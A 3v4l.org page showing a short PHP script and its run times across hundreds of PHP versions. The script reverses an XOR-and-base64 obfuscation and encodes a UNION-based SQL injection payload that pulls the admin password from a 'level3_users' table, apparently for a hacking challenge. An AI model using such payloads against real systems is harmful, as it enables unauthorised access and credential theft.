3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,password,4,5,6,7 FROM level3_users WHERE username=0x41646d696e#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00318.68
8.3.50.0100.00821.99
8.3.40.0160.00619.04
8.3.30.0090.00619.02
8.3.20.0080.00018.83
8.3.10.0060.00320.79
8.3.00.0070.00723.70
8.2.180.0140.00716.88
8.2.170.0180.01122.96
8.2.160.0030.01020.57
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0090.00919.61
8.2.110.0100.00019.25
8.2.100.0080.00417.97
8.2.90.0040.00419.36
8.2.80.0050.00317.97
8.2.70.0060.00317.75
8.2.60.0040.00417.93
8.2.50.0040.00418.16
8.2.40.0000.00920.42
8.2.30.0040.00419.25
8.2.20.0080.00017.78
8.2.10.0050.00317.85
8.2.00.0030.00617.87
8.1.280.0140.00725.92
8.1.270.0080.00023.99
8.1.260.0080.00026.35
8.1.250.0000.00828.09
8.1.240.0060.00321.36
8.1.230.0090.00319.28
8.1.220.0040.00417.79
8.1.210.0040.00418.77
8.1.200.0030.00717.72
8.1.190.0040.00417.60
8.1.180.0040.00418.10
8.1.170.0090.00218.61
8.1.160.0020.00519.02
8.1.150.0040.00420.25
8.1.140.0030.00517.68
8.1.130.0030.00617.90
8.1.120.0000.00817.68
8.1.110.0000.00817.60
8.1.100.0000.00817.53
8.1.90.0000.00717.61
8.1.80.0000.00717.55
8.1.70.0070.00017.61
8.1.60.0060.00617.78
8.1.50.0050.00317.55
8.1.40.0040.00417.59
8.1.30.0040.00417.90
8.1.20.0000.00817.83
8.1.10.0000.00817.80
8.1.00.0060.00317.72
8.0.300.0000.00718.77
8.0.290.0030.00617.00
8.0.280.0000.00718.52
8.0.270.0030.00317.34
8.0.260.0030.00316.88
8.0.250.0000.00817.19
8.0.240.0060.00317.15
8.0.230.0070.00017.09
8.0.220.0030.00316.98
8.0.210.0000.00717.14
8.0.200.0040.00417.18
8.0.190.0040.00417.18
8.0.180.0000.00817.09
8.0.170.0040.00417.09
8.0.160.0040.00417.10
8.0.150.0040.00416.98
8.0.140.0040.00416.99
8.0.130.0000.00513.53
8.0.120.0040.00417.08
8.0.110.0030.00616.93
8.0.100.0040.00416.88
8.0.90.0030.00317.15
8.0.80.0070.01016.98
8.0.70.0000.00717.03
8.0.60.0040.00417.03
8.0.50.0070.00017.07
8.0.30.0090.01117.02
8.0.20.0120.01217.40
8.0.10.0030.00617.19
8.0.00.0120.00616.98
7.4.330.0000.00614.97
7.4.320.0000.00616.67
7.4.300.0000.00716.71
7.4.290.0000.00716.79
7.4.280.0040.00416.81
7.4.270.0030.00316.86
7.4.260.0030.00313.55
7.4.250.0000.00716.82
7.4.240.0000.00716.80
7.4.230.0030.00316.90
7.4.220.0070.01716.93
7.4.210.0040.01416.81
7.4.200.0030.00316.65
7.4.190.0030.00316.66
7.4.160.0050.01316.73
7.4.150.0090.00917.40
7.4.140.0180.00417.86
7.4.130.0130.01016.75
7.4.120.0070.01016.80
7.4.110.0090.01116.64
7.4.100.0070.01116.79
7.4.90.0120.00616.76
7.4.80.0090.00919.37
7.4.70.0090.00916.83
7.4.60.0070.00716.76
7.4.50.0060.00316.46
7.4.40.0070.00322.27
7.4.30.0060.01216.59
7.4.00.0080.00915.06
7.3.330.0060.00013.47
7.3.320.0050.00013.35
7.3.310.0030.00516.57
7.3.300.0000.00716.42
7.3.290.0030.01016.54
7.3.280.0120.00616.55
7.3.270.0130.01017.40
7.3.260.0060.01218.24
7.3.250.0110.01216.87
7.3.240.0080.00816.59
7.3.230.0130.00316.72
7.3.210.0070.01016.84
7.3.200.0100.01119.39
7.3.190.0120.00616.61
7.3.180.0120.00816.82
7.3.170.0120.00916.74
7.3.160.0100.01316.75
7.3.120.0090.00915.05
7.3.110.0120.00515.25
7.3.100.0120.00314.95
7.3.90.0110.00515.14
7.3.80.0070.00715.26
7.3.70.0050.00815.10
7.3.60.0050.01014.94
7.3.50.0080.00614.96
7.3.40.0040.01015.04
7.3.30.0050.01215.15
7.3.20.0060.00816.80
7.3.10.0090.00616.84
7.3.00.0070.00916.82
7.2.330.0090.01516.77
7.2.320.0110.00716.92
7.2.310.0180.00616.95
7.2.300.0100.00716.90
7.2.290.0030.01316.84
7.2.250.0100.00715.18
7.2.240.0070.01015.41
7.2.230.0060.01115.09
7.2.220.0060.01315.40
7.2.210.0030.01015.32
7.2.200.0070.00815.44
7.2.190.0090.00515.12
7.2.180.0000.01315.29
7.2.170.0100.00315.25
7.2.130.0090.01017.00
7.2.120.0070.00817.05
7.2.110.0110.00617.19
7.2.100.0130.00516.97
7.2.90.0130.00717.07
7.2.80.0080.00916.95
7.2.70.0140.00617.11
7.2.60.0080.00917.02
7.2.50.0120.00517.11
7.2.40.0070.00816.97
7.2.30.0120.00816.95
7.2.20.0080.00716.86
7.2.10.0090.01016.97
7.2.00.0110.00417.75
7.1.330.0100.00515.98
7.1.320.0040.00615.90
7.1.310.0050.00616.04
7.1.300.0030.00915.89
7.1.290.0020.00916.03
7.1.280.0040.01016.04
7.1.270.0040.00915.76
7.1.260.0080.00516.12
7.1.250.0050.01116.11
7.1.200.0070.00516.09
7.1.100.0060.00618.18
7.1.70.0080.00017.08
7.1.60.0070.01419.40
7.1.50.0130.00317.02
7.1.00.0030.07022.52
7.0.200.0040.00417.06
7.0.140.0030.07322.00
7.0.60.0070.04720.06
7.0.50.0070.04017.92
7.0.40.0000.04317.76
7.0.30.0100.03317.74
7.0.20.0100.03317.82
7.0.10.0000.04317.77
7.0.00.0000.04317.77
5.6.280.0070.07020.99
5.6.210.0100.06320.75
5.6.200.0000.04718.18
5.6.190.0070.03718.18
5.6.180.0000.05318.11
5.6.170.0000.04318.12
5.6.160.0130.03018.23
5.6.150.0030.04018.23
5.6.140.0030.04018.24
5.6.130.0030.04018.15
5.6.120.0070.08018.28
5.6.110.0130.05718.22
5.6.100.0130.04318.25
5.6.90.0070.08018.26
5.6.80.0000.08017.57
5.6.70.0130.04717.56
5.6.60.0000.05317.64
5.6.50.0000.04317.57
5.6.40.0100.05717.64
5.6.30.0070.06017.64
5.6.20.0170.06717.50
5.6.10.0130.06317.47
5.6.00.0130.07017.48
5.5.350.0170.06720.42
5.5.340.0070.03717.97
5.5.330.0030.03717.98
5.5.320.0030.04017.97
5.5.310.0130.04017.95
5.5.300.0030.04017.99
5.5.290.0030.04317.92
5.5.280.0100.07017.97
5.5.270.0100.05318.04
5.5.260.0000.07018.03
5.5.250.0100.08017.80
5.5.240.0030.08017.42
5.5.230.0030.05317.34
5.5.220.0030.05317.39
5.5.210.0070.07717.35
5.5.200.0070.08017.34
5.5.190.0070.07717.29
5.5.180.0070.08317.41
5.5.160.0000.06017.34
5.5.150.0030.08017.30
5.5.140.0070.05317.32
5.5.130.0100.06317.34
5.5.120.0030.07717.36
5.5.110.0100.05717.30
5.5.100.0100.07317.32
5.5.90.0030.05317.20
5.5.80.0030.08017.20
5.5.70.0130.04717.22
5.5.60.0130.06317.23
5.5.50.0030.08317.16
5.5.40.0070.08017.24
5.5.30.0030.04717.32
5.5.20.0070.05017.22
5.5.10.0030.07317.37
5.5.00.0030.06717.20
5.4.450.0070.04019.47
5.4.440.0170.07019.35
5.4.430.0130.07319.21
5.4.420.0070.08319.37
5.4.410.0030.08319.25
5.4.400.0070.07719.05
5.4.390.0130.04319.05
5.4.380.0130.04319.06
5.4.370.0100.07318.98
5.4.360.0100.06319.14
5.4.350.0030.05018.89
5.4.340.0130.05719.02
5.4.320.0170.07019.04
5.4.310.0100.07719.05
5.4.300.0070.04718.95
5.4.290.0030.08318.98
5.4.280.0070.08018.99
5.4.270.0030.07018.98
5.4.260.0070.08018.98
5.4.250.0070.06018.95
5.4.240.0070.06719.13
5.4.230.0070.05718.97
5.4.220.0070.04719.12
5.4.210.0100.05318.95
5.4.200.0030.05019.04
5.4.190.0100.06719.00
5.4.180.0070.03718.94
5.4.170.0170.06319.04
5.4.160.0070.07018.94
5.4.150.0030.08719.12
5.4.140.0100.07016.46
5.4.130.0000.04016.59
5.4.120.0070.06316.26
5.4.110.0070.07316.43
5.4.100.0070.07316.46
5.4.90.0100.04316.48
5.4.80.0030.07716.36
5.4.70.0070.06716.40
5.4.60.0070.07016.39
5.4.50.0030.04716.53
5.4.40.0130.06716.46
5.4.30.0130.07016.50
5.4.20.0000.05716.21
5.4.10.0000.05016.52
5.4.00.0070.04715.98
5.3.290.0100.07314.77
5.3.280.0070.04314.56
5.3.270.0030.08314.62
5.3.260.0170.07014.68
5.3.250.0070.07314.82
5.3.240.0000.06314.66
5.3.230.0070.04314.65
5.3.220.0070.05314.56
5.3.210.0070.07714.64
5.3.200.0030.08014.63
5.3.190.0070.07314.79
5.3.180.0070.06314.61
5.3.170.0030.07714.63
5.3.160.0100.06314.59
5.3.150.0000.06314.62
5.3.140.0000.07314.60
5.3.130.0070.04714.60
5.3.120.0100.04714.63
5.3.110.0000.04314.60
5.3.100.0030.04014.05
5.3.90.0000.04014.04
5.3.80.0100.05014.02
5.3.70.0100.03314.23
5.3.60.0100.03014.07
5.3.50.0000.07013.94
5.3.40.0030.08013.97
5.3.30.0070.06713.82
5.3.20.0130.06713.74
5.3.10.0000.04713.71
5.3.00.0130.05713.67
5.2.170.0030.05711.00
5.2.160.0030.06711.15
5.2.150.0030.04711.36
5.2.140.0030.05011.00
5.2.130.0070.06011.00
5.2.120.0000.05011.00
5.2.110.0100.05711.01
5.2.100.0070.05711.13
5.2.90.0030.05711.14
5.2.80.0030.06311.13
5.2.70.0000.05711.15
5.2.60.0070.04011.08
5.2.50.0070.03711.05
5.2.40.0000.03711.08
5.2.30.0070.05311.02
5.2.20.0070.05011.00
5.2.10.0070.03710.84
5.2.00.0070.04710.74
5.1.60.0030.04710.08
5.1.50.0030.05010.11
5.1.40.0030.0309.91
5.1.30.0070.05310.43
5.1.20.0070.06010.40
5.1.10.0030.03310.15
5.1.00.0130.05010.05
5.0.50.0030.0278.50
5.0.40.0070.0438.38
5.0.30.0000.0638.24
5.0.20.0100.0408.26
5.0.10.0000.0478.28
5.0.00.0030.0608.01
4.4.90.0000.0377.88
4.4.80.0070.0207.88
4.4.70.0070.0337.88
4.4.60.0070.0277.88
4.4.50.0000.0277.88
4.4.40.0030.0337.88
4.4.30.0000.0237.88
4.4.20.0030.0307.88
4.4.10.0070.0337.88
4.4.00.0000.0607.88
4.3.110.0100.0307.88
4.3.100.0000.0377.88
4.3.90.0030.0377.88
4.3.80.0030.0507.88
4.3.70.0070.0337.88
4.3.60.0000.0377.88
4.3.50.0000.0377.88
4.3.40.0000.0537.88
4.3.30.0000.0377.88
4.3.20.0000.0307.88
4.3.10.0070.0307.88
4.3.00.0000.0377.88

preferences:
47.43 ms | 401 KiB | 5 Q